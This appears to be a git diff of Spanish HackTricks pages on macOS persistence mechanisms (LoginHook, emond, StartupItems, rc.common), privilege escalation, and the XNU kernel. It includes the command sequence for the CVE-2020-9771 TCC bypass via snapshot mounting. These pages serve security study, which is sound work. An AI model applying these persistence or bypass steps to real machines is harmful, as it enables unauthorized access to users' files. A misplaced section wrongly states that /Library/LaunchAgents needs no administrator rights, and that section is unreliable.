Esta configuración se almacena en `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist`
|
||||
```bash
|
||||
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
|
||||
{
|
||||
LoginHook = "/Users/username/hook.sh";
|
||||
MiniBuddyLaunch = 0;
|
||||
TALLogoutReason = "Shut Down";
|
||||
TALLogoutSavesState = 0;
|
||||
oneTimeSSMigrationComplete = 1;
|
||||
}
|
||||
```
|
||||
Para eliminarlo:
|
||||
```bash
|
||||
defaults delete com.apple.loginwindow LoginHook
|
||||
```
|
||||
En el ejemplo anterior hemos creado y eliminado un **LoginHook**, también es posible crear un **LogoutHook**.
|
||||
|
||||
El usuario root se almacena en `/private/var/root/Library/Preferences/com.apple.loginwindow.plist`
|
||||
|
||||
### Emond
|
||||
|
||||
Apple introdujo un mecanismo de registro llamado **emond**. Parece que nunca se desarrolló por completo y el desarrollo puede haber sido **abandonado** por Apple en favor de otros mecanismos, pero sigue **disponible**.
|
||||
|
||||
Este servicio poco conocido puede **no ser de mucha utilidad para un administrador de Mac**, pero para un actor de amenazas una muy buena razón sería usarlo como un mecanismo de **persistencia que la mayoría de los administradores de macOS probablemente no conocerían**. Detectar el uso malintencionado de emond no debería ser difícil, ya que el System LaunchDaemon del servicio busca scripts para ejecutar en un solo lugar:
|
||||
```bash
|
||||
ls -l /private/var/db/emondClients
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
**Como esto no se usa mucho, cualquier cosa en esa carpeta debería ser sospechosa**
|
||||
{% endhint %}
|
||||
|
||||
### Elementos de inicio
|
||||
|
||||
\{% hint style="danger" %\} **Esto está obsoleto, por lo que no se debe encontrar nada en los siguientes directorios.** \{% endhint %\}
|
||||
|
||||
Un **StartupItem** es un **directorio** que se **coloca** en una de estas dos carpetas. `/Library/StartupItems/` o `/System/Library/StartupItems/`
|
||||
|
||||
Después de colocar un nuevo directorio en una de estas dos ubicaciones, se deben colocar **dos elementos más** dentro de ese directorio. Estos dos elementos son un **script rc** y un **plist** que contiene algunas configuraciones. Este plist debe llamarse "**StartupParameters.plist**".
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Description</key>
|
||||
<string>This is a description of this service</string>
|
||||
<key>OrderPreference</key>
|
||||
<string>None</string> <!--Other req services to execute before this -->
|
||||
<key>Provides</key>
|
||||
<array>
|
||||
<string>superservicename</string> <!--Name of the services provided by this file -->
|
||||
</array>
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="superservicename" %}
|
||||
|
||||
## Ubicación de inicio automático de macOS
|
||||
|
||||
### Introducción
|
||||
|
||||
En macOS, hay varias ubicaciones donde se pueden colocar archivos para que se inicien automáticamente al arrancar el sistema. Estos archivos pueden ser scripts, binarios o aplicaciones. En este documento, se describen las ubicaciones comunes donde se pueden encontrar estos archivos.
|
||||
|
||||
### Ubicaciones comunes
|
||||
|
||||
#### /Library/LaunchAgents
|
||||
|
||||
Esta ubicación contiene archivos .plist que se ejecutan en el inicio del usuario actual. Estos archivos se ejecutan con los permisos del usuario actual y no requieren privilegios de administrador para instalarse.
|
||||
|
||||
#### /Library/LaunchDaemons
|
||||
|
||||
Esta ubicación contiene archivos .plist que se ejecutan en el inicio del sistema. Estos archivos se ejecutan con privilegios de administrador y, por lo tanto, requieren privilegios de administrador para instalarse.
|
||||
|
||||
#### /System/Library/LaunchAgents
|
||||
|
||||
Esta ubicación contiene archivos .plist que se ejecutan en el inicio del usuario actual. Estos archivos son proporcionados por Apple y se ejecutan con los permisos del usuario actual.
|
||||
|
||||
#### /System/Library/LaunchDaemons
|
||||
|
||||
Esta ubicación contiene archivos .plist que se ejecutan en el inicio del sistema. Estos archivos son proporcionados por Apple y se ejecutan con privilegios de administrador.
|
||||
|
||||
### Conclusión
|
||||
|
||||
Es importante conocer las ubicaciones comunes donde se pueden encontrar archivos de inicio automático en macOS. Esto puede ayudar a identificar posibles puntos de entrada para un atacante o para solucionar problemas de inicio automático.
|
||||
```bash
|
||||
#!/bin/sh
|
||||
. /etc/rc.common
|
||||
|
||||
StartService(){
|
||||
touch /tmp/superservicestarted
|
||||
}
|
||||
|
||||
StopService(){
|
||||
rm /tmp/superservicestarted
|
||||
}
|
||||
|
||||
RestartService(){
|
||||
echo "Restarting"
|
||||
}
|
||||
|
||||
RunService "$1"
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### /etc/rc.common
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Esto no funciona en versiones modernas de MacOS**
|
||||
{% endhint %}
|
||||
|
||||
También es posible colocar aquí **comandos que se ejecutarán al inicio.** Ejemplo de un script rc.common regular:
|
||||
```bash
|
||||
#
|
||||
# Common setup for startup scripts.
|
||||
#
|
||||
# Copyright 1998-2002 Apple Computer, Inc.
|
||||
#
|
||||
|
||||
######################
|
||||
# Configure the shell #
|
||||
######################
|
||||
|
||||
#
|
||||
# Be strict
|
||||
#
|
||||
#set -e
|
||||
set -u
|
||||
|
||||
#
|
||||
# Set command search path
|
||||
#
|
||||
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
|
||||
|
||||
#
|
||||
# Set the terminal mode
|
||||
#
|
||||
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
|
||||
# TERM=$(tset - -Q); export TERM
|
||||
#fi
|
||||
|
||||
###################
|
||||
# Useful functions #
|
||||
###################
|
||||
|
||||
#
|
||||
# Determine if the network is up by looking for any non-loopback
|
||||
# internet network interfaces.
|
||||
#
|
||||
CheckForNetwork()
|
||||
{
|
||||
local test
|
||||
|
||||
if [ -z "${NETWORKUP:=}" ]; then
|
||||
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
|
||||
if [ "${test}" -gt 0 ]; then
|
||||
NETWORKUP="-YES-"
|
||||
else
|
||||
NETWORKUP="-NO-"
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
alias ConsoleMessage=echo
|
||||
|
||||
#
|
||||
# Process management
|
||||
#
|
||||
GetPID ()
|
||||
{
|
||||
local program="$1"
|
||||
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
|
||||
local pid=""
|
||||
|
||||
if [ -f "${pidfile}" ]; then
|
||||
pid=$(head -1 "${pidfile}")
|
||||
if ! kill -0 "${pid}" 2> /dev/null; then
|
||||
echo "Bad pid file $pidfile; deleting."
|
||||
pid=""
|
||||
rm -f "${pidfile}"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ -n "${pid}" ]; then
|
||||
echo "${pid}"
|
||||
return 0
|
||||
else
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
#
|
||||
# Generic action handler
|
||||
#
|
||||
RunService ()
|
||||
{
|
||||
case $1 in
|
||||
start ) StartService ;;
|
||||
stop ) StopService ;;
|
||||
restart) RestartService ;;
|
||||
* ) echo "$0: unknown argument: $1";;
|
||||
esac
|
||||
}
|
||||
```
|
||||
### Perfiles
|
||||
|
||||
Los perfiles de configuración pueden obligar a un usuario a utilizar ciertas configuraciones de navegador, configuraciones de proxy DNS o configuraciones de VPN. Muchos otros payloads son posibles, lo que los hace propensos a ser abusados.
|
||||
|
||||
Puedes enumerarlos ejecutando:
|
||||
```bash
|
||||
ls -Rl /Library/Managed\ Preferences/
|
||||
```
|
||||
### Otras técnicas y herramientas de persistencia
|
||||
|
||||
* [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift)
|
||||
* [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,188 @@
|
|||
# Seguridad y Escalada de Privilegios en macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales de errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
## MacOS Básico
|
||||
|
||||
Si no estás familiarizado con macOS, deberías empezar aprendiendo los conceptos básicos de macOS:
|
||||
|
||||
* **Archivos y permisos especiales** de macOS:
|
||||
|
||||
{% content-ref url="macos-files-folders-and-binaries/" %}
|
||||
[macos-files-folders-and-binaries](macos-files-folders-and-binaries/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Usuarios** comunes de macOS
|
||||
|
||||
{% content-ref url="macos-users.md" %}
|
||||
[macos-users.md](macos-users.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **AppleFS**
|
||||
|
||||
{% content-ref url="macos-applefs.md" %}
|
||||
[macos-applefs.md](macos-applefs.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* La **arquitectura** del **kernel**
|
||||
|
||||
{% content-ref url="mac-os-architecture/" %}
|
||||
[mac-os-architecture](mac-os-architecture/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Servicios y protocolos de red** comunes de macOS
|
||||
|
||||
{% content-ref url="macos-protocols.md" %}
|
||||
[macos-protocols.md](macos-protocols.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### MacOS MDM
|
||||
|
||||
En las empresas, los sistemas **macOS** probablemente van a ser **administrados con un MDM**. Por lo tanto, desde la perspectiva de un atacante, es interesante saber **cómo funciona**:
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### MacOS - Inspección, Depuración y Fuzzing
|
||||
|
||||
{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %}
|
||||
[macos-apps-inspecting-debugging-and-fuzzing](macos-apps-inspecting-debugging-and-fuzzing/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Protecciones de Seguridad de MacOS
|
||||
|
||||
{% content-ref url="macos-security-protections/" %}
|
||||
[macos-security-protections](macos-security-protections/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Superficie de Ataque
|
||||
|
||||
### Permisos de Archivos
|
||||
|
||||
Si un **proceso que se ejecuta como root escribe** un archivo que puede ser controlado por un usuario, el usuario podría abusar de esto para **escalar privilegios**.\
|
||||
Esto podría ocurrir en las siguientes situaciones:
|
||||
|
||||
* El archivo utilizado ya fue creado por un usuario (propiedad del usuario)
|
||||
* El archivo utilizado es escribible por el usuario debido a un grupo
|
||||
* El archivo utilizado está dentro de un directorio propiedad del usuario (el usuario podría crear el archivo)
|
||||
* El archivo utilizado está dentro de un directorio propiedad de root, pero el usuario tiene acceso de escritura sobre él debido a un grupo (el usuario podría crear el archivo)
|
||||
|
||||
Ser capaz de **crear un archivo** que va a ser **utilizado por root**, permite a un usuario **aprovechar su contenido** o incluso crear **enlaces simbólicos/duros** para apuntarlo a otro lugar.
|
||||
|
||||
### Abuso de Privilegios y Entitlements a través del abuso de procesos
|
||||
|
||||
Si un proceso puede **inyectar código en otro proceso con mejores privilegios o entitlements** o contactarlo para realizar acciones de privilegios, podría escalar privilegios y evitar medidas defensivas como [Sandbox](macos-security-protections/macos-sandbox/) o [TCC](macos-security-protections/macos-tcc/).
|
||||
|
||||
{% content-ref url="macos-proces-abuse/" %}
|
||||
[macos-proces-abuse](macos-proces-abuse/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Aplicaciones de Extensión de Archivos
|
||||
|
||||
Las aplicaciones extrañas registradas por las extensiones de archivos podrían ser abusadas:
|
||||
|
||||
{% content-ref url="macos-file-extension-apps.md" %}
|
||||
[macos-file-extension-apps.md](macos-file-extension-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Aplicaciones de Manejadores de URL
|
||||
|
||||
Diferentes aplicaciones pueden registrarse para abrir protocolos específicos. Podrían ser abusadas.
|
||||
|
||||
TODO: Crear una página sobre esto
|
||||
|
||||
## Escalada de Privilegios en MacOS
|
||||
|
||||
### CVE-2020-9771 - Bypass de TCC y escalada de privilegios de mount\_apfs
|
||||
|
||||
**Cualquier usuario** (incluso los no privilegiados) puede crear y montar una instantánea de Time Machine y **acceder a TODOS los archivos** de esa instantánea.\
|
||||
El **único privilegio** necesario es que la aplicación utilizada (como `Terminal`) tenga acceso de **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que debe ser otorgado por un administrador.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create snapshot
|
||||
tmutil localsnapshot
|
||||
|
||||
# List snapshots
|
||||
tmutil listlocalsnapshots /
|
||||
Snapshots for disk /:
|
||||
com.apple.TimeMachine.2023-05-29-001751.local
|
||||
|
||||
# Generate folder to mount it
|
||||
cd /tmp # I didn it from this folder
|
||||
mkdir /tmp/snap
|
||||
|
||||
# Mount it, "noowners" will mount the folder so the current user can access everything
|
||||
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
|
||||
|
||||
# Access it
|
||||
ls /tmp/snap/Users/admin_user # This will work
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Una explicación más detallada se puede [**encontrar en el informe original**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
|
||||
|
||||
### Información Sensible
|
||||
|
||||
{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %}
|
||||
[macos-sensitive-locations.md](macos-files-folders-and-binaries/macos-sensitive-locations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Linux Privesc
|
||||
|
||||
En primer lugar, tenga en cuenta que **la mayoría de los trucos sobre escalada de privilegios que afectan a Linux/Unix también afectarán a las máquinas MacOS**. Así que vea:
|
||||
|
||||
{% content-ref url="../../linux-hardening/privilege-escalation/" %}
|
||||
[privilege-escalation](../../linux-hardening/privilege-escalation/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Referencias
|
||||
|
||||
* [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
|
||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
* [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)
|
||||
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
|
||||
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Siga a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lea tutoriales sobre errores web3
|
||||
|
||||
🔔 Reciba notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participe en discusiones comunitarias
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabaja en una **empresa de ciberseguridad**? ¿Quiere ver su **empresa anunciada en HackTricks**? ¿O quiere tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenga el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únase al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparta sus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
|
@ -0,0 +1,108 @@
|
|||
# Kernel de macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Kernel XNU
|
||||
|
||||
El **núcleo de macOS es XNU**, que significa "X no es Unix". Este kernel está compuesto fundamentalmente por el **microkernel Mach** (que se discutirá más adelante), **y** elementos de Berkeley Software Distribution (**BSD**). XNU también proporciona una plataforma para **controladores de kernel a través de un sistema llamado I/O Kit**. El kernel XNU es parte del proyecto de código abierto Darwin, lo que significa que **su código fuente es libremente accesible**.
|
||||
|
||||
Desde la perspectiva de un investigador de seguridad o un desarrollador de Unix, **macOS** puede sentirse bastante **similar** a un sistema **FreeBSD** con una elegante GUI y una serie de aplicaciones personalizadas. La mayoría de las aplicaciones desarrolladas para BSD se compilarán y ejecutarán en macOS sin necesidad de modificaciones, ya que las herramientas de línea de comandos familiares para los usuarios de Unix están presentes en macOS. Sin embargo, debido a que el kernel XNU incorpora Mach, hay algunas diferencias significativas entre un sistema similar a Unix tradicional y macOS, y estas diferencias pueden causar problemas potenciales o proporcionar ventajas únicas.
|
||||
|
||||
### Mach
|
||||
|
||||
Mach es un **microkernel** diseñado para ser **compatible con UNIX**. Uno de sus principales principios de diseño fue **minimizar** la cantidad de **código** que se ejecuta en el **espacio del kernel** y, en su lugar, permitir que muchas funciones típicas del kernel, como el sistema de archivos, la red y la E/S, se **ejecuten como tareas de nivel de usuario**.
|
||||
|
||||
En XNU, Mach es **responsable de muchas de las operaciones críticas de bajo nivel** que un kernel maneja típicamente, como la planificación del procesador, la multitarea y la gestión de la memoria virtual.
|
||||
|
||||
### BSD
|
||||
|
||||
El **kernel** XNU también **incorpora** una cantidad significativa de código derivado del proyecto **FreeBSD**. Este código **se ejecuta como parte del kernel junto con Mach**, en el mismo espacio de direcciones. Sin embargo, el código de FreeBSD dentro de XNU puede diferir sustancialmente del código original de FreeBSD porque se requirieron modificaciones para garantizar su compatibilidad con Mach. FreeBSD contribuye a muchas operaciones del kernel, incluyendo:
|
||||
|
||||
* Gestión de procesos
|
||||
* Manejo de señales
|
||||
* Mecanismos básicos de seguridad, incluida la gestión de usuarios y grupos
|
||||
* Infraestructura de llamadas al sistema
|
||||
* Pila TCP/IP y sockets
|
||||
* Firewall y filtrado de paquetes
|
||||
|
||||
Comprender la interacción entre BSD y Mach puede ser complejo, debido a sus diferentes marcos conceptuales. Por ejemplo, BSD utiliza procesos como su unidad de ejecución fundamental, mientras que Mach opera en función de hilos. Esta discrepancia se reconcilia en XNU **asociando cada proceso BSD con una tarea Mach** que contiene exactamente un hilo Mach. Cuando se utiliza la llamada al sistema fork() de BSD, el código de BSD dentro del kernel utiliza funciones de Mach para crear una tarea y una estructura de hilo.
|
||||
|
||||
Además, **Mach y BSD mantienen modelos de seguridad diferentes**: el modelo de seguridad de **Mach** se basa en **derechos de puerto**, mientras que el modelo de seguridad de BSD opera en función de la **propiedad del proceso**. Las disparidades entre estos dos modelos han dado lugar ocasionalmente a vulnerabilidades de escalada de privilegios locales. Además de las llamadas al sistema típicas, también hay **trampas de Mach que permiten que los programas de espacio de usuario interactúen con el kernel**. Estos diferentes elementos juntos forman la arquitectura multifacética y híbrida del kernel de macOS.
|
||||
|
||||
### I/O Kit - Controladores
|
||||
|
||||
I/O Kit es el marco de **controladores de dispositivos orientado a objetos** de código abierto en el kernel XNU y es responsable de la adición y gestión de **controladores de dispositivos cargados dinámicamente**. Estos controladores permiten que se agregue código modular al kernel de forma dinámica para su uso con diferentes hardware, por ejemplo. Se encuentran en:
|
||||
|
||||
* `/System/Library/Extensions`
|
||||
* Archivos KEXT integrados en el sistema operativo OS X.
|
||||
* `/Library/Extensions`
|
||||
* Archivos KEXT instalados por software de terceros.
|
||||
```bash
|
||||
#Use kextstat to print the loaded drivers
|
||||
kextstat
|
||||
Executing: /usr/bin/kmutil showloaded
|
||||
No variant specified, falling back to release
|
||||
Index Refs Address Size Wired Name (Version) UUID <Linked Against>
|
||||
1 142 0 0 0 com.apple.kpi.bsd (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
2 11 0 0 0 com.apple.kpi.dsep (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
3 170 0 0 0 com.apple.kpi.iokit (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
4 0 0 0 0 com.apple.kpi.kasan (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
5 175 0 0 0 com.apple.kpi.libkern (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
6 154 0 0 0 com.apple.kpi.mach (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
7 88 0 0 0 com.apple.kpi.private (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
8 106 0 0 0 com.apple.kpi.unsupported (20.5.0) 52A1E876-863E-38E3-AC80-09BBAB13B752 <>
|
||||
9 2 0xffffff8003317000 0xe000 0xe000 com.apple.kec.Libm (1) 6C1342CC-1D74-3D0F-BC43-97D5AD38200A <5>
|
||||
10 12 0xffffff8003544000 0x92000 0x92000 com.apple.kec.corecrypto (11.1) F5F1255F-6552-3CF4-A9DB-D60EFDEB4A9A <8 7 6 5 3 1>
|
||||
```
|
||||
Hasta el número 9, los controladores listados se **cargan en la dirección 0**. Esto significa que no son controladores reales, sino que son **parte del kernel y no se pueden descargar**.
|
||||
|
||||
Para encontrar extensiones específicas, puedes usar:
|
||||
```bash
|
||||
kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id
|
||||
kextfind -bundle-id -substring IOR #Search by substring in bundle-id
|
||||
```
|
||||
Para cargar y descargar extensiones de kernel, haz lo siguiente:
|
||||
```bash
|
||||
kextload com.apple.iokit.IOReportFamily
|
||||
kextunload com.apple.iokit.IOReportFamily
|
||||
```
|
||||
### IPC - Comunicación Interprocesos
|
||||
|
||||
{% content-ref url="macos-ipc-inter-process-communication/" %}
|
||||
[macos-ipc-inter-process-communication](macos-ipc-inter-process-communication/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Extensiones de Kernel de macOS
|
||||
|
||||
macOS es **muy restrictivo para cargar Extensiones de Kernel** (.kext) debido a los altos privilegios con los que se ejecutará el código. De hecho, por defecto es virtualmente imposible (a menos que se encuentre un bypass).
|
||||
|
||||
{% content-ref url="macos-kernel-extensions.md" %}
|
||||
[macos-kernel-extensions.md](macos-kernel-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Referencias
|
||||
|
||||
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
|
||||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
